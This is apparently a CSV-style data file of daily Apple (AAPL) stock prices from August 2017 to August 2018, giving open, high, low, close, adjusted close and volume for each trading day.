-2017-08-09,159.25999450683594,161.27000427246094,159.11000061035156,161.05999755859375,155.15960693359375,26131500.0,AAPL -2017-08-10,159.89999389648438,160.0,154.6300048828125,155.32000732421875,150.21749877929688,40804300.0,AAPL -2017-08-11,156.60000610351562,158.57000732421875,156.07000732421875,157.47999572753906,152.30654907226562,26257100.0,AAPL -2017-08-14,159.32000732421875,160.2100067138672,158.75,159.85000610351562,154.59869384765625,22122700.0,AAPL -2017-08-15,160.66000366210938,162.1999969482422,160.13999938964844,161.60000610351562,156.2911834716797,29465500.0,AAPL -2017-08-16,161.94000244140625,162.50999450683594,160.14999389648438,160.9499969482422,155.6625213623047,27671600.0,AAPL -2017-08-17,160.52000427246094,160.7100067138672,157.83999633789062,157.86000061035156,152.67405700683594,27940600.0,AAPL -2017-08-18,157.86000061035156,159.5,156.72000122070312,157.5,152.32589721679688,27428100.0,AAPL -2017-08-21,157.5,157.88999938964844,155.11000061035156,157.2100067138672,152.04542541503906,26368500.0,AAPL -2017-08-22,158.22999572753906,160.0,158.02000427246094,159.77999877929688,154.53099060058594,21604600.0,AAPL -2017-08-23,159.07000732421875,160.47000122070312,158.8800048828125,159.97999572753906,154.72439575195312,19399100.0,AAPL -2017-08-24,160.42999267578125,160.74000549316406,158.5500030517578,159.27000427246094,154.03773498535156,19818900.0,AAPL -2017-08-25,159.64999389648438,160.55999755859375,159.27000427246094,159.86000061035156,154.6083526611328,25480100.0,AAPL -2017-08-28,160.13999938964844,162.0,159.92999267578125,161.47000122070312,156.1654510498047,25966000.0,AAPL -2017-08-29,160.10000610351562,163.1199951171875,160.0,162.91000366210938,157.55816650390625,29516900.0,AAPL -2017-08-30,163.8000030517578,163.88999938964844,162.61000061035156,163.35000610351562,157.98370361328125,27269600.0,AAPL -2017-08-31,163.63999938964844,164.52000427246094,163.47999572753906,164.0,158.6123504638672,26785100.0,AAPL -2017-09-01,164.8000030517578,164.94000244140625,163.6300048828125,164.0500030517578,158.66070556640625,16591100.0,AAPL -2017-09-05,163.75,164.25,160.55999755859375,162.0800018310547,156.75543212890625,29468500.0,AAPL -2017-09-06,162.7100067138672,162.99000549316406,160.52000427246094,161.91000366210938,156.5909881591797,21651700.0,AAPL -2017-09-07,162.08999633789062,162.24000549316406,160.36000061035156,161.25999450683594,155.96234130859375,21928500.0,AAPL -2017-09-08,160.86000061035156,161.14999389648438,158.52999877929688,158.6300048828125,153.4187774658203,28611500.0,AAPL -2017-09-11,160.5,162.0500030517578,159.88999938964844,161.5,156.19448852539062,31580800.0,AAPL -2017-09-12,162.61000061035156,163.9600067138672,158.77000427246094,160.86000061035156,155.5755157470703,71714000.0,AAPL -2017-09-13,159.8699951171875,159.9600067138672,157.91000366210938,159.64999389648438,154.40525817871094,44907400.0,AAPL -2017-09-14,158.99000549316406,159.39999389648438,158.08999633789062,158.27999877929688,153.0802459716797,23760700.0,AAPL -2017-09-15,158.47000122070312,160.97000122070312,158.0,159.8800048828125,154.62770080566406,49114600.0,AAPL -2017-09-18,160.11000061035156,160.5,158.0,158.6699981689453,153.4574432373047,28269400.0,AAPL -2017-09-19,159.50999450683594,159.77000427246094,158.44000244140625,158.72999572753906,153.51547241210938,20810600.0,AAPL -2017-09-20,157.89999389648438,158.25999450683594,153.8300018310547,156.07000732421875,150.94287109375,52951400.0,AAPL -2017-09-21,155.8000030517578,155.8000030517578,152.75,153.38999938964844,148.35089111328125,37511700.0,AAPL -2017-09-22,151.5399932861328,152.27000427246094,150.55999755859375,151.88999938964844,146.90017700195312,46645400.0,AAPL -2017-09-25,149.99000549316406,151.8300018310547,149.16000366210938,150.5500030517578,145.6042022705078,44387300.0,AAPL -2017-09-26,151.77999877929688,153.9199981689453,151.69000244140625,153.13999938964844,148.10911560058594,36660000.0,AAPL -2017-09-27,153.8000030517578,154.72000122070312,153.5399932861328,154.22999572753906,149.16329956054688,25504200.0,AAPL -2017-09-28,153.88999938964844,154.27999877929688,152.6999969482422,153.27999877929688,148.2445068359375,22005500.0,AAPL -2017-09-29,153.2100067138672,154.1300048828125,152.0,154.1199951171875,149.05690002441406,26299800.0,AAPL -2017-10-02,154.25999450683594,154.4499969482422,152.72000122070312,153.80999755859375,148.75711059570312,18698800.0,AAPL -2017-10-03,154.00999450683594,155.08999633789062,153.91000366210938,154.47999572753906,149.4051055908203,16230300.0,AAPL -2017-10-04,153.6300048828125,153.86000061035156,152.4600067138672,153.47999572753906,148.43795776367188,20163800.0,AAPL -2017-10-05,154.17999267578125,155.44000244140625,154.0500030517578,155.38999938964844,150.28517150878906,21283800.0,AAPL -2017-10-06,154.97000122070312,155.49000549316406,154.55999755859375,155.3000030517578,150.19813537597656,17407600.0,AAPL -2017-10-09,155.80999755859375,156.72999572753906,155.49000549316406,155.83999633789062,150.72039794921875,16262900.0,AAPL -2017-10-10,156.05999755859375,158.0,155.10000610351562,155.89999389648438,150.77842712402344,15617000.0,AAPL -2017-10-11,155.97000122070312,156.97999572753906,155.75,156.5500030517578,151.4071044921875,16905600.0,AAPL -2017-10-12,156.35000610351562,157.3699951171875,155.72999572753906,156.0,150.8751678466797,16125100.0,AAPL -2017-10-13,156.72999572753906,157.27999877929688,156.41000366210938,156.99000549316406,151.8326416015625,16394200.0,AAPL -2017-10-16,157.89999389648438,160.0,157.64999389648438,159.8800048828125,154.62770080566406,24121500.0,AAPL -2017-10-17,159.77999877929688,160.8699951171875,159.22999572753906,160.47000122070312,155.1983184814453,18997300.0,AAPL -2017-10-18,160.4199981689453,160.7100067138672,159.60000610351562,159.75999450683594,154.5116424560547,16374200.0,AAPL -2017-10-19,156.75,157.0800018310547,155.02000427246094,155.97999572753906,150.85580444335938,42584200.0,AAPL -2017-10-20,156.61000061035156,157.75,155.9600067138672,156.25,151.11695861816406,23974100.0,AAPL -2017-10-23,156.88999938964844,157.69000244140625,155.5,156.1699981689453,151.03958129882812,21984300.0,AAPL -2017-10-24,156.2899932861328,157.4199981689453,156.1999969482422,157.10000610351562,151.9390106201172,17757200.0,AAPL -2017-10-25,156.91000366210938,157.5500030517578,155.27000427246094,156.41000366210938,151.2716827392578,21207100.0,AAPL -2017-10-26,157.22999572753906,157.8300018310547,156.77999877929688,157.41000366210938,152.2388153076172,17000500.0,AAPL -2017-10-27,159.2899932861328,163.60000610351562,158.6999969482422,163.0500030517578,157.69354248046875,44454200.0,AAPL -2017-10-30,163.88999938964844,168.07000732421875,163.72000122070312,166.72000122070312,161.2429962158203,44700800.0,AAPL -2017-10-31,167.89999389648438,169.64999389648438,166.94000244140625,169.0399932861328,163.48675537109375,36046800.0,AAPL -2017-11-01,169.8699951171875,169.94000244140625,165.61000061035156,166.88999938964844,161.4073944091797,33637800.0,AAPL -2017-11-02,166.60000610351562,168.5,165.27999877929688,168.11000061035156,162.5873260498047,41393400.0,AAPL -2017-11-03,174.0,174.25999450683594,171.1199951171875,172.5,166.83311462402344,59398600.0,AAPL -2017-11-06,172.3699951171875,174.99000549316406,171.72000122070312,174.25,168.52561950683594,35026300.0,AAPL -2017-11-07,173.91000366210938,175.25,173.60000610351562,174.80999755859375,169.0672149658203,24361500.0,AAPL -2017-11-08,174.66000366210938,176.24000549316406,174.3300018310547,176.24000549316406,170.45025634765625,24409500.0,AAPL -2017-11-09,175.11000061035156,176.10000610351562,173.13999938964844,175.8800048828125,170.1020965576172,29482600.0,AAPL -2017-11-10,175.11000061035156,175.3800048828125,174.27000427246094,174.6699981689453,169.53909301757812,25145500.0,AAPL -2017-11-13,173.5,174.5,173.39999389648438,173.97000122070312,168.8596649169922,16982100.0,AAPL -2017-11-14,173.0399932861328,173.47999572753906,171.17999267578125,171.33999633789062,166.30690002441406,24782500.0,AAPL -2017-11-15,169.97000122070312,170.32000732421875,168.3800048828125,169.0800018310547,164.11328125,29158100.0,AAPL -2017-11-16,171.17999267578125,171.8699951171875,170.3000030517578,171.10000610351562,166.073974609375,23637500.0,AAPL -2017-11-17,171.0399932861328,171.38999938964844,169.63999938964844,170.14999389648438,165.15187072753906,21899500.0,AAPL -2017-11-20,170.2899932861328,170.55999755859375,169.55999755859375,169.97999572753906,164.9868927001953,16262400.0,AAPL -2017-11-21,170.77999877929688,173.6999969482422,170.77999877929688,173.13999938964844,168.0540313720703,25131300.0,AAPL -2017-11-22,173.36000061035156,175.0,173.0500030517578,174.9600067138672,169.82058715820312,25588900.0,AAPL -2017-11-24,175.10000610351562,175.5,174.64999389648438,174.97000122070312,169.83030700683594,14026700.0,AAPL -2017-11-27,175.0500030517578,175.0800018310547,173.33999633789062,174.08999633789062,168.97613525390625,20716800.0,AAPL -2017-11-28,174.3000030517578,174.8699951171875,171.86000061035156,173.07000732421875,167.98609924316406,26428800.0,AAPL -2017-11-29,172.6300048828125,172.9199981689453,167.16000366210938,169.47999572753906,164.5015869140625,41666400.0,AAPL -2017-11-30,170.42999267578125,172.13999938964844,168.44000244140625,171.85000610351562,166.8019561767578,41527200.0,AAPL -2017-12-01,169.9499969482422,171.6699981689453,168.5,171.0500030517578,166.0254364013672,39759300.0,AAPL -2017-12-04,172.47999572753906,172.6199951171875,169.6300048828125,169.8000030517578,164.8121337890625,32542400.0,AAPL -2017-12-05,169.05999755859375,171.52000427246094,168.39999389648438,169.63999938964844,164.65684509277344,27350200.0,AAPL -2017-12-06,167.5,170.1999969482422,166.4600067138672,169.00999450683594,164.04537963867188,28560000.0,AAPL -2017-12-07,169.02999877929688,170.44000244140625,168.91000366210938,169.32000732421875,164.34629821777344,25673300.0,AAPL -2017-12-08,170.49000549316406,171.0,168.82000732421875,169.3699951171875,164.394775390625,23355200.0,AAPL -2017-12-11,169.1999969482422,172.88999938964844,168.7899932861328,172.6699981689453,167.5978546142578,35273800.0,AAPL -2017-12-12,172.14999389648438,172.38999938964844,171.4600067138672,171.6999969482422,166.65635681152344,19409200.0,AAPL -2017-12-13,172.5,173.5399932861328,172.0,172.27000427246094,167.20960998535156,23818400.0,AAPL -2017-12-14,172.39999389648438,173.1300048828125,171.64999389648438,172.22000122070312,167.1610565185547,20476500.0,AAPL -2017-12-15,173.6300048828125,174.1699981689453,172.4600067138672,173.97000122070312,168.8596649169922,40169300.0,AAPL -2017-12-18,174.8800048828125,177.1999969482422,174.86000061035156,176.4199981689453,171.2377166748047,29421100.0,AAPL -2017-12-19,175.02999877929688,175.38999938964844,174.08999633789062,174.5399932861328,169.41290283203125,27436400.0,AAPL -2017-12-20,174.8699951171875,175.4199981689453,173.25,174.35000610351562,169.22850036621094,23475600.0,AAPL -2017-12-21,174.1699981689453,176.02000427246094,174.10000610351562,175.00999450683594,169.86911010742188,20949900.0,AAPL -2017-12-22,174.67999267578125,175.4199981689453,174.5,175.00999450683594,169.86911010742188,16349400.0,AAPL -2017-12-26,170.8000030517578,171.47000122070312,169.67999267578125,170.57000732421875,165.55955505371094,33185500.0,AAPL -2017-12-27,170.10000610351562,170.77999877929688,169.7100067138672,170.60000610351562,165.5886688232422,21498200.0,AAPL -2017-12-28,171.0,171.85000610351562,170.47999572753906,171.0800018310547,166.05458068847656,16480200.0,AAPL -2017-12-29,170.52000427246094,170.58999633789062,169.22000122070312,169.22999572753906,164.25889587402344,25999900.0,AAPL -2018-01-02,170.16000366210938,172.3000030517578,169.25999450683594,172.25999450683594,167.19989013671875,25555900.0,AAPL -2018-01-03,172.52999877929688,174.5500030517578,171.9600067138672,172.22999572753906,167.1707763671875,29517900.0,AAPL -2018-01-04,172.5399932861328,173.47000122070312,172.0800018310547,173.02999877929688,167.947265625,22434600.0,AAPL -2018-01-05,173.44000244140625,175.3699951171875,173.0500030517578,175.0,169.85940551757812,23660000.0,AAPL -2018-01-08,174.35000610351562,175.61000061035156,173.92999267578125,174.35000610351562,169.22850036621094,20567800.0,AAPL -2018-01-09,174.5500030517578,175.05999755859375,173.41000366210938,174.3300018310547,169.20909118652344,21584000.0,AAPL -2018-01-10,173.16000366210938,174.3000030517578,173.0,174.2899932861328,169.17025756835938,23959900.0,AAPL -2018-01-11,174.58999633789062,175.49000549316406,174.49000549316406,175.27999877929688,170.1311798095703,18667700.0,AAPL -2018-01-12,176.17999267578125,177.36000061035156,175.64999389648438,177.08999633789062,171.88803100585938,25418100.0,AAPL -2018-01-16,177.89999389648438,179.38999938964844,176.13999938964844,176.19000244140625,171.01446533203125,29565900.0,AAPL -2018-01-17,176.14999389648438,179.25,175.07000732421875,179.10000610351562,173.83900451660156,34386800.0,AAPL -2018-01-18,179.3699951171875,180.10000610351562,178.25,179.25999450683594,173.99429321289062,31193400.0,AAPL -2018-01-19,178.61000061035156,179.5800018310547,177.41000366210938,178.4600067138672,173.21778869628906,32425100.0,AAPL -2018-01-22,177.3000030517578,177.77999877929688,176.60000610351562,177.0,171.80067443847656,27108600.0,AAPL -2018-01-23,177.3000030517578,179.44000244140625,176.82000732421875,177.0399932861328,171.83949279785156,32689100.0,AAPL -2018-01-24,177.25,177.3000030517578,173.1999969482422,174.22000122070312,169.10232543945312,51105100.0,AAPL -2018-01-25,174.50999450683594,174.9499969482422,170.52999877929688,171.11000061035156,166.08367919921875,41529000.0,AAPL -2018-01-26,172.0,172.0,170.05999755859375,171.50999450683594,166.471923828125,39143000.0,AAPL -2018-01-29,170.16000366210938,170.16000366210938,167.07000732421875,167.9600067138672,163.02621459960938,50640400.0,AAPL -2018-01-30,165.52999877929688,167.3699951171875,164.6999969482422,166.97000122070312,162.06527709960938,46048200.0,AAPL -2018-01-31,166.8699951171875,168.44000244140625,166.5,167.42999267578125,162.51177978515625,32478900.0,AAPL -2018-02-01,167.1699981689453,168.6199951171875,166.75999450683594,167.77999877929688,162.8514862060547,47230800.0,AAPL -2018-02-02,166.0,166.8000030517578,160.10000610351562,160.5,155.78536987304688,86593800.0,AAPL -2018-02-05,159.10000610351562,163.8800048828125,156.0,156.49000549316406,151.89312744140625,72738500.0,AAPL -2018-02-06,154.8300018310547,163.72000122070312,154.0,163.02999877929688,158.2410125732422,68243800.0,AAPL -2018-02-07,163.08999633789062,163.39999389648438,159.07000732421875,159.5399932861328,154.85353088378906,51608600.0,AAPL -2018-02-08,160.2899932861328,161.0,155.02999877929688,155.14999389648438,150.59249877929688,54390500.0,AAPL -2018-02-09,157.07000732421875,157.88999938964844,150.24000549316406,156.41000366210938,152.43446350097656,70672600.0,AAPL -2018-02-12,158.5,163.88999938964844,157.50999450683594,162.7100067138672,158.57432556152344,60819500.0,AAPL -2018-02-13,161.9499969482422,164.75,161.64999389648438,164.33999633789062,160.16290283203125,32549200.0,AAPL -2018-02-14,163.0399932861328,167.5399932861328,162.8800048828125,167.3699951171875,163.1158905029297,40644900.0,AAPL -2018-02-15,169.7899932861328,173.08999633789062,169.0,172.99000549316406,168.59303283691406,51147200.0,AAPL -2018-02-16,172.36000061035156,174.82000732421875,171.77000427246094,172.42999267578125,168.04727172851562,40176100.0,AAPL -2018-02-20,172.0500030517578,174.25999450683594,171.4199981689453,171.85000610351562,167.48202514648438,33930500.0,AAPL -2018-02-21,172.8300018310547,174.1199951171875,171.00999450683594,171.07000732421875,166.7218475341797,37471600.0,AAPL -2018-02-22,171.8000030517578,173.9499969482422,171.7100067138672,172.5,168.11550903320312,30991900.0,AAPL -2018-02-23,173.6699981689453,175.64999389648438,173.5399932861328,175.5,171.03924560546875,33812400.0,AAPL -2018-02-26,176.35000610351562,179.38999938964844,176.2100067138672,178.97000122070312,174.42103576660156,38162200.0,AAPL -2018-02-27,179.10000610351562,180.47999572753906,178.16000366210938,178.38999938964844,173.85580444335938,38928100.0,AAPL -2018-02-28,179.25999450683594,180.6199951171875,178.0500030517578,178.1199951171875,173.59266662597656,37782100.0,AAPL -2018-03-01,178.5399932861328,179.77999877929688,172.66000366210938,175.0,170.55194091796875,48802000.0,AAPL -2018-03-02,172.8000030517578,176.3000030517578,172.4499969482422,176.2100067138672,171.73118591308594,38454000.0,AAPL -2018-03-05,175.2100067138672,177.74000549316406,174.52000427246094,176.82000732421875,172.32571411132812,28401400.0,AAPL -2018-03-06,177.91000366210938,178.25,176.1300048828125,176.6699981689453,172.17950439453125,23788500.0,AAPL -2018-03-07,174.94000244140625,175.85000610351562,174.27000427246094,175.02999877929688,170.58120727539062,31703500.0,AAPL -2018-03-08,175.47999572753906,177.1199951171875,175.07000732421875,176.94000244140625,172.44264221191406,23774100.0,AAPL -2018-03-09,177.9600067138672,180.0,177.38999938964844,179.97999572753906,175.40536499023438,32185200.0,AAPL -2018-03-12,180.2899932861328,182.38999938964844,180.2100067138672,181.72000122070312,177.10113525390625,32207100.0,AAPL -2018-03-13,182.58999633789062,183.5,179.24000549316406,179.97000122070312,175.3956298828125,31693500.0,AAPL -2018-03-14,180.32000732421875,180.52000427246094,177.80999755859375,178.44000244140625,173.9044952392578,29368400.0,AAPL -2018-03-15,178.5,180.24000549316406,178.07000732421875,178.64999389648438,174.10916137695312,22743800.0,AAPL -2018-03-16,178.64999389648438,179.1199951171875,177.6199951171875,178.02000427246094,173.4951934814453,39404700.0,AAPL -2018-03-19,177.32000732421875,177.47000122070312,173.66000366210938,175.3000030517578,170.84434509277344,33446800.0,AAPL -2018-03-20,175.24000549316406,176.8000030517578,174.94000244140625,175.24000549316406,170.78585815429688,19649400.0,AAPL -2018-03-21,175.0399932861328,175.08999633789062,171.25999450683594,171.27000427246094,166.916748046875,37054900.0,AAPL -2018-03-22,170.0,172.67999267578125,168.60000610351562,168.85000610351562,164.5582733154297,41490800.0,AAPL -2018-03-23,168.38999938964844,169.9199981689453,164.94000244140625,164.94000244140625,160.7476348876953,41028800.0,AAPL -2018-03-26,168.07000732421875,173.10000610351562,166.44000244140625,172.77000427246094,168.378662109375,37541200.0,AAPL -2018-03-27,173.67999267578125,175.14999389648438,166.9199981689453,168.33999633789062,164.06121826171875,40922600.0,AAPL -2018-03-28,167.25,170.02000427246094,165.19000244140625,166.47999572753906,162.24851989746094,41668500.0,AAPL -2018-03-29,167.80999755859375,171.75,166.89999389648438,167.77999877929688,163.5154571533203,38398500.0,AAPL -2018-04-02,166.63999938964844,168.94000244140625,164.47000122070312,166.67999267578125,162.44342041015625,37586800.0,AAPL -2018-04-03,167.63999938964844,168.75,164.8800048828125,168.38999938964844,164.10997009277344,30278000.0,AAPL -2018-04-04,164.8800048828125,172.00999450683594,164.77000427246094,171.61000061035156,167.2481231689453,34605500.0,AAPL -2018-04-05,172.5800018310547,174.22999572753906,172.0800018310547,172.8000030517578,168.40786743164062,26933200.0,AAPL -2018-04-06,170.97000122070312,172.47999572753906,168.1999969482422,168.3800048828125,164.10023498535156,35005300.0,AAPL -2018-04-09,169.8800048828125,173.08999633789062,169.85000610351562,170.0500030517578,165.727783203125,29017700.0,AAPL -2018-04-10,173.0,174.0,171.52999877929688,173.25,168.84645080566406,28408600.0,AAPL -2018-04-11,172.22999572753906,173.9199981689453,171.6999969482422,172.44000244140625,168.05702209472656,22431600.0,AAPL -2018-04-12,173.41000366210938,175.0,173.0399932861328,174.13999938964844,169.7138214111328,22889300.0,AAPL -2018-04-13,174.77999877929688,175.83999633789062,173.85000610351562,174.72999572753906,170.28880310058594,25124300.0,AAPL -2018-04-16,175.02999877929688,176.19000244140625,174.8300018310547,175.82000732421875,171.3511199951172,21578400.0,AAPL -2018-04-17,176.49000549316406,178.94000244140625,176.41000366210938,178.24000549316406,173.7095947265625,26605400.0,AAPL -2018-04-18,177.80999755859375,178.82000732421875,176.8800048828125,177.83999633789062,173.31976318359375,20754500.0,AAPL -2018-04-19,173.75999450683594,175.38999938964844,172.66000366210938,172.8000030517578,168.40786743164062,34808800.0,AAPL -2018-04-20,170.60000610351562,171.22000122070312,165.42999267578125,165.72000122070312,161.5078125,65491100.0,AAPL -2018-04-23,166.8300018310547,166.9199981689453,164.08999633789062,165.24000549316406,161.0400390625,36515500.0,AAPL -2018-04-24,165.6699981689453,166.3300018310547,161.22000122070312,162.94000244140625,158.79849243164062,33692000.0,AAPL -2018-04-25,162.6199951171875,165.4199981689453,162.41000366210938,163.64999389648438,159.4904327392578,28382100.0,AAPL -2018-04-26,164.1199951171875,165.72999572753906,163.3699951171875,164.22000122070312,160.04595947265625,27963000.0,AAPL -2018-04-27,164.0,164.3300018310547,160.6300048828125,162.32000732421875,158.19424438476562,35655800.0,AAPL -2018-04-30,162.1300048828125,167.25999450683594,161.83999633789062,165.25999450683594,161.05950927734375,42427400.0,AAPL -2018-05-01,166.41000366210938,169.1999969482422,165.27000427246094,169.10000610351562,164.80189514160156,53569400.0,AAPL -2018-05-02,175.22999572753906,177.75,173.8000030517578,176.57000732421875,172.08206176757812,66539400.0,AAPL -2018-05-03,175.8800048828125,177.5,174.44000244140625,176.88999938964844,172.39390563964844,34068200.0,AAPL -2018-05-04,178.25,184.25,178.1699981689453,183.8300018310547,179.1575164794922,56201300.0,AAPL -2018-05-07,185.17999267578125,187.6699981689453,184.75,185.16000366210938,180.45372009277344,42451400.0,AAPL -2018-05-08,184.99000549316406,186.22000122070312,183.6699981689453,186.0500030517578,181.3210906982422,28402800.0,AAPL -2018-05-09,186.5500030517578,187.39999389648438,185.22000122070312,187.36000061035156,182.59779357910156,23211200.0,AAPL -2018-05-10,187.74000549316406,190.3699951171875,187.64999389648438,190.0399932861328,185.2096710205078,27989300.0,AAPL -2018-05-11,189.49000549316406,190.05999755859375,187.4499969482422,188.58999633789062,184.50526428222656,26212200.0,AAPL -2018-05-14,189.00999450683594,189.52999877929688,187.86000061035156,188.14999389648438,184.07479858398438,20778800.0,AAPL -2018-05-15,186.77999877929688,187.07000732421875,185.10000610351562,186.44000244140625,182.40184020996094,23695200.0,AAPL -2018-05-16,186.07000732421875,188.4600067138672,186.0,188.17999267578125,184.10414123535156,19183100.0,AAPL -2018-05-17,188.0,188.91000366210938,186.36000061035156,186.99000549316406,182.93992614746094,17294000.0,AAPL -2018-05-18,187.19000244140625,187.80999755859375,186.1300048828125,186.30999755859375,182.27464294433594,18297700.0,AAPL -2018-05-21,188.0,189.27000427246094,186.91000366210938,187.6300048828125,183.56607055664062,18400800.0,AAPL -2018-05-22,188.3800048828125,188.8800048828125,186.77999877929688,187.16000366210938,183.10621643066406,15240700.0,AAPL -2018-05-23,186.35000610351562,188.5,185.75999450683594,188.36000061035156,184.2802734375,20058400.0,AAPL -2018-05-24,188.77000427246094,188.83999633789062,186.2100067138672,188.14999389648438,184.07479858398438,23234000.0,AAPL -2018-05-25,188.22999572753906,189.64999389648438,187.64999389648438,188.5800018310547,184.49549865722656,17461000.0,AAPL -2018-05-29,187.60000610351562,188.75,186.8699951171875,187.89999389648438,183.83023071289062,22514100.0,AAPL -2018-05-30,187.72000122070312,188.0,186.77999877929688,187.5,183.4388885498047,18690500.0,AAPL -2018-05-31,187.22000122070312,188.22999572753906,186.13999938964844,186.8699951171875,182.822509765625,27482800.0,AAPL -2018-06-01,187.99000549316406,190.25999450683594,187.75,190.24000549316406,186.1195068359375,23442500.0,AAPL -2018-06-04,191.63999938964844,193.4199981689453,191.35000610351562,191.8300018310547,187.6750946044922,26266200.0,AAPL -2018-06-05,193.07000732421875,193.94000244140625,192.36000061035156,193.30999755859375,189.12303161621094,21566000.0,AAPL -2018-06-06,193.6300048828125,194.0800018310547,191.9199981689453,193.97999572753906,189.7785186767578,20933600.0,AAPL -2018-06-07,194.13999938964844,194.1999969482422,192.33999633789062,193.4600067138672,189.26980590820312,21347200.0,AAPL -2018-06-08,191.1699981689453,192.0,189.77000427246094,191.6999969482422,187.54791259765625,26656800.0,AAPL -2018-06-11,191.35000610351562,191.97000122070312,190.2100067138672,191.22999572753906,187.0880889892578,18308500.0,AAPL -2018-06-12,191.38999938964844,192.61000061035156,191.14999389648438,192.27999877929688,188.11534118652344,16911100.0,AAPL -2018-06-13,192.4199981689453,192.8800048828125,190.44000244140625,190.6999969482422,186.56956481933594,21638400.0,AAPL -2018-06-14,191.5500030517578,191.57000732421875,190.22000122070312,190.8000030517578,186.6674041748047,21610100.0,AAPL -2018-06-15,190.02999877929688,190.16000366210938,188.25999450683594,188.83999633789062,184.74986267089844,61719200.0,AAPL -2018-06-18,187.8800048828125,189.22000122070312,187.1999969482422,188.74000549316406,184.65200805664062,18484900.0,AAPL -2018-06-19,185.13999938964844,186.3300018310547,183.4499969482422,185.69000244140625,181.66807556152344,33578500.0,AAPL -2018-06-20,186.35000610351562,187.1999969482422,185.72999572753906,186.5,182.46054077148438,20628700.0,AAPL -2018-06-21,187.25,188.35000610351562,184.94000244140625,185.4600067138672,181.4430694580078,25711900.0,AAPL -2018-06-22,186.1199951171875,186.14999389648438,184.6999969482422,184.9199981689453,180.9147491455078,27200400.0,AAPL -2018-06-25,183.39999389648438,184.9199981689453,180.72999572753906,182.1699981689453,178.22430419921875,31663100.0,AAPL -2018-06-26,182.99000549316406,186.52999877929688,182.5399932861328,184.42999267578125,180.4353790283203,24569200.0,AAPL -2018-06-27,185.22999572753906,187.27999877929688,184.02999877929688,184.16000366210938,180.1712188720703,25285300.0,AAPL -2018-06-28,184.10000610351562,186.2100067138672,183.8000030517578,185.5,181.48220825195312,17365200.0,AAPL -2018-06-29,186.2899932861328,187.19000244140625,182.91000366210938,185.11000061035156,181.10064697265625,22737700.0,AAPL -2018-07-02,183.82000732421875,187.3000030517578,183.4199981689453,187.17999267578125,183.1258087158203,17731300.0,AAPL -2018-07-03,187.7899932861328,187.9499969482422,183.5399932861328,183.9199981689453,179.93641662597656,13954800.0,AAPL -2018-07-05,185.25999450683594,186.41000366210938,184.27999877929688,185.39999389648438,181.3843536376953,16604200.0,AAPL -2018-07-06,185.4199981689453,188.42999267578125,185.1999969482422,187.97000122070312,183.898681640625,17485200.0,AAPL -2018-07-09,189.5,190.67999267578125,189.3000030517578,190.5800018310547,186.45216369628906,19756600.0,AAPL -2018-07-10,190.7100067138672,191.27999877929688,190.17999267578125,190.35000610351562,186.2271728515625,15939100.0,AAPL -2018-07-11,188.5,189.77999877929688,187.61000061035156,187.8800048828125,183.81063842773438,18831500.0,AAPL -2018-07-12,189.52999877929688,191.41000366210938,189.30999755859375,191.02999877929688,186.8924102783203,18041100.0,AAPL -2018-07-13,191.0800018310547,191.83999633789062,190.89999389648438,191.3300018310547,187.18589782714844,12513900.0,AAPL -2018-07-16,191.52000427246094,192.64999389648438,190.4199981689453,190.91000366210938,186.7750244140625,15043100.0,AAPL -2018-07-17,189.75,191.8699951171875,189.1999969482422,191.4499969482422,187.3032989501953,15534500.0,AAPL -2018-07-18,191.77999877929688,191.8000030517578,189.92999267578125,190.39999389648438,186.2760467529297,16393400.0,AAPL -2018-07-19,189.69000244140625,192.5500030517578,189.69000244140625,191.8800048828125,187.72402954101562,20286800.0,AAPL -2018-07-20,191.77999877929688,192.42999267578125,190.1699981689453,191.44000244140625,187.29356384277344,20676200.0,AAPL -2018-07-23,190.67999267578125,191.9600067138672,189.55999755859375,191.61000061035156,187.4598388671875,15989400.0,AAPL -2018-07-24,192.4499969482422,193.66000366210938,192.0500030517578,193.0,188.8197479248047,18697900.0,AAPL -2018-07-25,193.05999755859375,194.85000610351562,192.42999267578125,194.82000732421875,190.600341796875,16709900.0,AAPL -2018-07-26,194.61000061035156,195.9600067138672,193.61000061035156,194.2100067138672,190.0035400390625,19076000.0,AAPL -2018-07-27,194.99000549316406,195.19000244140625,190.10000610351562,190.97999572753906,186.84352111816406,24024000.0,AAPL -2018-07-30,191.89999389648438,192.1999969482422,189.07000732421875,189.91000366210938,185.7966766357422,21029500.0,AAPL -2018-07-31,190.3000030517578,192.13999938964844,189.33999633789062,190.2899932861328,186.16842651367188,39373000.0,AAPL -2018-08-01,199.1300048828125,201.75999450683594,197.30999755859375,201.5,197.13565063476562,67935700.0,AAPL -2018-08-02,200.5800018310547,208.3800048828125,200.35000610351562,207.38999938964844,202.8980712890625,62404000.0,AAPL -2018-08-03,207.02999877929688,208.74000549316406,205.47999572753906,207.99000549316406,203.4850616455078,33447400.0,AAPL -2018-08-06,208.0,209.25,207.07000732421875,209.07000732421875,204.5416717529297,25425400.0,AAPL -2018-08-07,209.32000732421875,209.5,206.75999450683594,207.11000061035156,202.62413024902344,25587400.0,AAPL -2018-08-08,206.0500030517578,207.80999755859375,204.52000427246094,207.25,202.76112365722656,22525500.0,AAPL -2018-08-09,209.52999877929688,209.77999877929688,207.1999969482422,208.8800048828125,204.35580444335938,23492600.0,AAPL -2018-08-10,207.36000061035156,209.10000610351562,206.6699981689453,207.52999877929688,203.74710083007812,24611200.0,AAPL -2018-08-13,209.30999755859375,210.9499969482422,207.6999969482422,208.8699951171875,205.0626678466797,25890900.0,AAPL -2018-08-14,210.16000366210938,210.55999755859375,208.25999450683594,209.75,205.92666625976562,20748000.0,AAPL -2018-08-15,209.22000122070312,210.74000549316406,208.3300018310547,210.24000549316406,206.40771484375,28807600.0,AAPL -2018-08-16,211.75,213.80999755859375,211.47000122070312,213.32000732421875,209.43157958984375,28500400.0,AAPL -2018-08-17,213.44000244140625,217.9499969482422,213.16000366210938,217.5800018310547,213.6138916015625,35427000.0,AAPL -2018-08-20,218.10000610351562,219.17999267578125,215.11000061035156,215.4600067138672,211.53256225585938,30287700.0,AAPL -2018-08-21,216.8000030517578,217.19000244140625,214.02999877929688,215.0399932861328,211.12020874023438,26159800.0,AAPL -2018-08-22,214.10000610351562,216.36000061035156,213.83999633789062,215.0500030517578,211.13003540039062,19018100.0,AAPL -2018-08-23,214.64999389648438,217.0500030517578,214.60000610351562,215.49000549316406,211.56201171875,18883200.0,AAPL -2018-08-24,216.60000610351562,216.89999389648438,215.11000061035156,216.16000366210938,212.2198028564453,18476400.0,AAPL -2018-08-27,217.14999389648438,218.74000549316406,216.3300018310547,217.94000244140625,213.96734619140625,20525100.0,AAPL -2018-08-28,219.00999450683594,220.5399932861328,218.9199981689453,219.6999969482422,215.6952667236328,22776800.0,AAPL 